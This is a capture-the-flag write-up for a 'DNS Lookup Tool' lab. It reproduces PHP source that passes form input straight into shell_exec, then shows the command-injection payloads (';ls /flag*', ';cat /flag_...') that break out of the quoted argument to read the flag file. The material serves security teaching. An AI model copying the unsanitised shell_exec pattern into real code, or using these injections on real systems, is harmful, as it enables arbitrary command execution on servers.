---
# System prepended metadata

title: Simple Web 0x09(Lab - DNS Lookup Tool)
tags: [Web, NTUSTWS, CTF]

---

# Simple Web 0x09(Lab - DNS Lookup Tool)
###### tags: `NTUSTWS` `CTF` `Web`
Challenge: http://h4ck3r.quest:8300/

## Source code
:::spoiler code
```php=
 <?php
isset($_GET['source']) and die(show_source(__FILE__, true));
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>DNS Lookup Tool | Baby</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bulma@0.9.3/css/bulma.min.css">
</head>

<body>
    <section class="section">
        <div class="container">
            <div class="column is-6 is-offset-3 has-text-centered">
                <div class="box">
                    <h1 class="title">DNS Lookup Tool 🔍</h1>
                    <form method="POST">
                        <div class="field">
                            <div class="control">
                                <input class="input" type="text" name="name" placeholder="example.com" id="hostname" value="<?= $_POST['name'] ?? '' ?>">
                            </div>
                        </div>
                        <button class="button is-block is-info is-fullwidth">
                            Lookup!
                        </button>
                    </form>
                    <br>
                    <?php if (isset($_POST['name'])) : ?>
                        <section class="has-text-left">
                            <p>Lookup result:</p>
                            <pre><?= shell_exec("host '" . $_POST['name'] . "';") ?></pre>
                        </section>
                    <?php endif; ?>
                    <hr>
                    <a id="magic">Magic</a> | <a href="/?source">Source Code</a>
                </div>
                <article class="message is-link is-hidden is-size-4" id="hint">
                    <div class="message-body is-family-monospace">
                        host '<span class="has-text-danger" id="command"></span>';
                    </div>
                </article>
            </div>
        </div>
    </section>

    <script>
        magic.onclick = () => hint.classList.toggle("is-hidden");
        window.onload = hostname.oninput = () => command.textContent = hostname.value;
    </script>
</body>

</html> 
```
:::

## Exploit
1. According to the source code, seems there's no any protection.
2. `shell_exec`
It used `shell_exec` to parse input string.
`shell_exec("host '" . $_POST['name'] . "';")`
`shell_exec("host '" . ';ls /flag*' . "';")`→`host '';ls /flag*'';`
![](https://i.imgur.com/6rCN8gy.png)
↓
`shell_exec("host '" . ';cat /flag_44ebd3936a907d59'. "';")`
* Note that, you can use `psysh` or `php -a` in Linux with interactive mode to try the payload
3. Then we got flag!!!


## Reference
[PHP system()、exec()、shell_exec() 的 差異](https://blog.longwin.com.tw/2013/06/php-system-exec-shell_exec-diff-2013/)